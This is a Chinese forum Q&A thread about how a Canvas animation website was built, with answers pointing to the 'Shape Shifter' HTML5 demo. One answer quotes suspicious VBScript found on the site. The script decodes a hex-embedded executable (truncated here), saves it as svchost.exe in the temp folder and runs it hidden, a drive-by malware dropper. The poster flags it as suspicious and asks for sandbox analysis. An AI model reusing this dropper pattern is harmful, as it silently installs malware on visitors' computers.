这个网站是用Canvas写的, 你可以查一下Canvas编程。另外这个网站被FF报告为危险站点,使用IE访问请时慎重。
网站含有可疑VBS代码(我没有执行,不知道是干嘛的,有谁能在沙盒里测一下。。。):


 <script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000 ....... 0000000000000000000000000000000000000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></script>

lw0528 answered 9 years, 9 months ago

居然还用到vb了。。。

人畜无害的少年 answered 9 years, 9 months ago

html 5,你直接看网页源码就能看到怎么实现了

KiMiGY answered 9 years, 9 months ago

确实炫酷..
chrome F12->source 找到js(index.js)源码看就知道了啊 设断点调试看看
Shape Shifter
demo


 /*

  Shape Shifter
  =============
  A canvas experiment by Kenneth Cachia
  http://www.kennethcachia.com

  Updated code
  ------------
  https://github.com/kennethcachia/Shape-Shifter 

*/

口琴323 answered 9 years, 9 months ago

Your Answer